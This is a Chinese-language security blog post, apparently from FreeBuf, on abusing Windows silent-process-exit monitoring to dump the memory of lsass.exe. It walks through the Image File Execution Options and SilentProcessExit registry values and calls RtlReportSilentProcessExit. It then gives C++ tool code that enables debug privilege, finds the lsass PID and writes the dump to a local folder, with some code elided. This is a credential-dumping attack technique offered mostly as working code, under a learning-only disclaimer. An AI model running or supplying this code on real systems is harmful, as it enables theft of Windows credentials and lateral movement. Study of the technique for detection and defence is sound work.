freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

静默退出与Dump
2023-03-15 15:23:38
所属地 重庆

前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)

基础知识

我们先来看看什么是静默退出,在Windows7开始,就可以设置对指定进程的静默退出(官方术语是"无提示进程退出")。监视功能不会检测进程最后一个线程退出时发生的正常进程终止,监视功能不会检测由内核模式代码启动的进程终止。
如果我们要对某进程使用静默退出,我们可以在注册表中如下设置,将GlobalFlag值设置为0x200,当然我们需要先设置ProcessName项指定进程

HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName  
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName\\GlobalFlag

我们还可以配置当进程以无提示方式退出时要执行的操作。可以配置通知、事件日志记录和转储文件的创建,因为我们要Dump,因此我们重点关心转储文件的创建。
这里有全局配置与应用程序设置两种

  • 全局设置:适用于静默退出监视的所有进程,在注册表中的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
  • 应用程序设置:设用于单个进程的设置,在注册中设置的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName

我们这里选择应用程序设置即可,没必要使用全局的设置。还有很多设置,但是这里我们只看我们需要使用的,所有我们来看看报告模式,大致就是检测到进程静默退出后,执行的操作(但是此设置不能用于全局设置)

ReportingMode有三个值可以设置,这里我们选择LOCAL_DUMP(0x2)

既然我们使用转储文件,那么还需要指定转储文件的位置

LocalDumpFolder所对应的值即可我们转储文件所存放的位置,那对于我们的转储文件有没有大小的限制呢,默认情况下是没有限制的。

我们还需要看看转储类型

我们可以设置DumpType的值去指定我们需要转储的类型,上面图片可能看不太明白,这不影响,我们可以设置为2,为什么设置为2我们看看如下

然后就是最重要的一步了,如何使进程崩溃(lsass.exe进程崩溃的话会导致机器重启),显然真的让其崩溃肯定不可取。我们可以利用RtlReportSilentProcessExit这个函数API,该API会与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。但是调用此API不会导致进程退出。所有这一步就解决了。
关于RtlReportSilentProcessExit函数的定义

现在应该思路很清晰了吧,我们可以写个简单的利用程序来帮助我们自动化Dump,我们可以利用Windows API函数帮助我们去设置这些值,这里主要用到RegCreateKeyExW、RegSetValueExW,对于这两个函数的用法与用途,我们来简单的介绍一下

RegCreateKeyExW

该函数主要用于打开指定的注册表的项,如果不存在那么就创建,我们编写一个简单的程序来看看效果

#include <windows.h>  
#include <iostream>  
​  
using namespace std;  
​  
int main() {  
    HKEY hKey \= HKEY\_CURRENT\_USER;  
    LPCWSTR lpSubKey \= L"Software\\\\test";  
    HKEY phkResult \= NULL;  
    DWORD Result \= NULL;  
​  
    RegCreateKeyExW(hKey, lpSubKey, 0, NULL, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, NULL, &phkResult, &Result);  
    if (Result \== 0x00000001L) {  
        cout << "\[+\] 密钥不存在且已创建" << endl;  
    }  
    else if (Result \== 0x00000002L)  
    {  
        cout << "\[+\] 密钥已存在" << endl;  
    }  
    else  
    {  
        cout << "\[-\] RegCreateKeyExW Error" << endl;  
    }  
​  
}

RegSetValueExW

该函数主要就是在指定的子项中设定指定的数值

#include <windows.h>  
#include <iostream>  
​  
using namespace std;  
​  
int main() {  
    HKEY hKey \= HKEY\_CURRENT\_USER;  
    LPCWSTR lpSubKey \= L"Software\\\\test";  
    HKEY phkResult \= NULL;  
​  
    LSTATUS Open \= RegOpenKeyExW(hKey, lpSubKey, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, &phkResult);  
    if (Open != ERROR\_SUCCESS) {  
        cout << "\[-\] Not found" << endl;  
​  
        return 1;  
    }  
    cout << "\[+\] RegOpenKeyExW Success" << endl;  
​  
    DWORD Test\_Value \= 0x20;  
    LSTATUS SetValye \= RegSetValueExW(phkResult, L"test", 0, REG\_DWORD, (const  BYTE\*)&Test\_Value, sizeof(DWORD));  
    if (SetValye != ERROR\_SUCCESS) {  
        cout << "\[-\] RegSetValueExW Error" << endl;  
​  
        return 1;  
    }  
    cout << "\[+\] RegSetValueExW Success" << endl;  
}

好了我们现在来总结一下步骤

  • RegCreateKeyExW、RegSetValueExW设置注册表中的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName 、HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName\GlobalFlag
  • RegCreateKeyExW、RegSetValueExW设置注册表中的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName
  • 设置好后获取目标进程,后调用RtlReportSilentProcessExit

代码实现

#include <windows.h>
#include <iostream>
#include <string>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>

using namespace std;

typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) (
    _In_ HANDLE ProcessHandle,
    _In_ NTSTATUS ExitStatus
    );

RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlReportSilentProcessExit");

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
    );

_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
        return 1;
    }

    cout << "[+] RtlAdjustPrivilege Success" << endl;
}

int GetPid() {
    HRESULT hr;

    DWORD pid;
    PROCESSENTRY32 ed;
    ed.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (Process32First(snapshot, &ed) == TRUE)
    {
        while (Process32Next(snapshot, &ed) == TRUE)
        {
            if ((string)ed.szExeFile == "lsass.exe") {
                pid = ed.th32ProcessID;
            }
        }
    }
    CloseHandle(snapshot);

    return pid;
}

int RegeditSet() {
    HKEY hKey = HKEY_LOCAL_MACHINE;
    LPCWSTR lpSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe";
    HKEY phkResult;
    DWORD Result = NULL;
    .............................................................
        .............................................................
        .............................................................
    }
    else
    {
        cout << "[-] RegCreateKeyExW SilentProcessExit Error" << endl;
        return 1;
    }

    DWORD ReportingMode = 0x2;
    WCHAR LocalDumpFolder[MAX_PATH] = L"C:\\temp";
    DWORD DumpType = 0x2;

    .............................................................
        .............................................................
        .............................................................
    if (RegSetValue_ReportingMode != ERROR_SUCCESS || RegSetValue_LocalDumpFolder != ERROR_SUCCESS
        || RegSetValue_DumpType != ERROR_SUCCESS) {

        cout << "[-]  RegSetValueExW has an Error " << endl;
        return 1;
    }

    cout << "[+] Success Setting All" << endl;
}

int main() {
    if (RegeditSet() == 1) {
        return 1;
    }
    DWORD pid = GetPid();
    cout << "[+] Lsass Pid is:" << pid << endl;

    SeDebugPrivilege();
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (hProcess == NULL) {
        cout << "[-] OpenProcess Error" << endl;
        return 1;
    }
    RtlReportSilentProcessExit(hProcess, 0);
    cout << "[+] Path:C:\\tmp" << endl;
}

参考:(建议详细阅读完)
https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit

# 渗透测试 # 网络安全 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录